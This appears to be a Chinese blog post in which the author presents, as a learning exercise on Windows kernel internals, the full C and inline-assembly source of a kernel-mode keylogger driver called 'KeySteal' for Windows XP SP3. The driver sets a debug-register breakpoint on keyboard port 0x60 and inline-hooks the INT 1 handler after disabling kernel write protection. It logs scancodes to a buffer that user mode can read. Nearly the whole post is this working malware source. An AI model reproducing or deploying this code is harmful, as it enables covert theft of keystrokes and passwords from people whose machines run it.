为了巩固偶看内核情景第二章,第九章的知识,自己写了个键盘记录器。 原理很老套,无非是下io断点,inlinehook int 1 中断,详细的东东都可以在 windows内核情景分析第二章,软件调试第四章里找到,我就不搬教科书了00!也不是啥新东西。 #include #include #define IOCTL_START_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x810,METHOD_BUFFERED,FILE_ANY_ACCESS) #define IOCTL_STOP_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x811,METHOD_BUFFERED,FILE_ANY_ACCESS) UCHAR Buffe_0_1_2[256]; ULONG Numbers,HookPointer, JmpOffset, HookOffset, HookCode,SaveOffset, KernelBase; void SetBreakPoint() { _asm { mov eax, 0x60 mov dr3,eax _emit 0x0F _emit 0x20 _emit 0xE0 or eax, 0x8 _emit 0x0F _emit 0x22 _emit 0xE0 mov eax, dr7 or eax, 0x20000140 mov dr7,eax } } void ClearBreakPoint() { _asm { cli xor eax,eax mov dr3,eax _emit 0x0F _emit 0x20 _emit 0xE0 and eax, 0xfffffff7 _emit 0x0F _emit 0x22 _emit 0xE0 mov eax, dr7 and eax, 0xDffffebf mov dr7,eax sti } } void ClearHook () { _asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax mov ebx, HookPointer mov eax, SaveOffset xchg [ebx], eax mov eax,cr0 or eax,10000h mov cr0,eax sti } } void SetHook () { HookPointer = KernelBase + HookOffset; JmpOffset = HookCode - (HookPointer + 4); *(PUCHAR)(HookCode + 0x5d) = 0xe8; *(PULONG)(HookCode + 0x5e) = (HookPointer + 4) + SaveOffset - (HookCode + 0x62); _asm{ cli mov eax,cr0 and eax,not 10000h mov cr0,eax mov ebx, HookPointer mov eax, JmpOffset xchg [ebx], eax mov SaveOffset, eax mov eax,cr0 or eax,10000h mov cr0,eax sti } } void InlineHook() { _asm { push eax push esi mov eax, dr7 or eax, 0x20000140 mov dr7,eax mov eax,dr6 test eax, 8 jz _pass mov esi, offset Buffe_0_1_2 add esi, Numbers; mov eax, [ebp + 44h] mov byte ptr [esi], al inc Numbers cmp Numbers, 256 jnz _jump xor eax,eax mov Numbers, eax _jump: pop esi pop eax mov esp, ebp add esp, 30h pop gs pop es pop ds pop edx pop ecx pop eax add esp, 8 pop fs pop edi pop esi pop ebx pop ebp add esp, 4 iretd _pass: pop esi pop eax nop nop nop nop nop } } NTSTATUS GetKernelBase () { NTSTATUS status; ULONG length; UNICODE_STRING Destination; PSYSMODULELIST sysinfo; RtlInitUnicodeString (&Destination, L"ZwQuerySystemInformation"); ZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION)MmGetSystemRoutineAddress (&Destination); status = ZwQuerySystemInformation(SystemModuleInformation,NULL,0,&length); if (status == STATUS_INFO_LENGTH_MISMATCH) { sysinfo = ExAllocatePoolWithTag(NonPagedPool,length,0x123456); if (NULL == sysinfo) { return STATUS_INSUFFICIENT_RESOURCES; } } status = ZwQuerySystemInformation(SystemModuleInformation , sysinfo, length, &length); if(!NT_SUCCESS(status)) { ExFreePoolWithTag (sysinfo, 0x123456); return STATUS_UNSUCCESSFUL; } KernelBase = sysinfo->smi[0].Base; ExFreePoolWithTag (sysinfo, 0x123456); return STATUS_SUCCESS; } NTSTATUS Unload (PDRIVER_OBJECT DriverObject) { UNICODE_STRING SymbolLink; RtlInitUnicodeString (&SymbolLink, L"//??//KeySteal"); ExFreePoolWithTag (HookCode, 0x123456); IoDeleteSymbolicLink (&SymbolLink); IoDeleteDevice (DriverObject->DeviceObject); return STATUS_SUCCESS; } NTSTATUS ReadRoutine ( PDEVICE_OBJECT DeviceObject, PIRP pIrp ) { NTSTATUS status = STATUS_SUCCESS; RtlCopyMemory (pIrp->AssociatedIrp.SystemBuffer, Buffe_0_1_2, 256); pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = 256; IoCompleteRequest (pIrp, IO_NO_INCREMENT); return status; } NTSTATUS DeviceControlRoutine ( PDEVICE_OBJECT DeviceObject, PIRP pIrp ) { ULONG code; PIO_STACK_LOCATION stack = NULL; stack = IoGetCurrentIrpStackLocation (pIrp); code = stack->Parameters.DeviceIoControl.IoControlCode; switch (code) { case IOCTL_START_KEYFIL: SetBreakPoint(); SetHook(); break; case IOCTL_STOP_KEYFIL: ClearBreakPoint(); ClearHook(); break; default: break; } pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = 0; IoCompleteRequest (pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DispatchRoutine ( PDEVICE_OBJECT DeviceObject, PIRP pIrp) { pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverEntry (PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath) { int i; NTSTATUS status; PDEVICE_OBJECT DeviceObject; UNICODE_STRING DeviceName,SymbolLink; _asm int 3 HookOffset = 0x67026; //just for winxp sp3 RtlInitUnicodeString (&DeviceName, L"//Device//KeySteal"); status = IoCreateDevice ( DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &DeviceObject); if (!NT_SUCCESS(status)) { return STATUS_UNSUCCESSFUL; } for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION+1; i++) { DriverObject->MajorFunction[i] = DispatchRoutine; } DeviceObject->Flags |= DO_BUFFERED_IO; DriverObject->MajorFunction[IRP_MJ_READ] = ReadRoutine; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlRoutine; DriverObject->DriverUnload = Unload; //创建符号连接 RtlInitUnicodeString (&SymbolLink, L"//??//KeySteal"); status = IoCreateSymbolicLink (&SymbolLink, &DeviceName); if (!NT_SUCCESS (status)) { if (NULL != DeviceObject) { IoDeleteDevice (DeviceObject); } return status; } RtlZeroMemory(Buffe_0_1_2, 0, 256); GetKernelBase(); HookCode = ExAllocatePoolWithTag (NonPagedPool, 100, 0x123456); RtlCopyMemory (HookCode, (ULONG)InlineHook + 8, 0x62); return STATUS_SUCCESS; }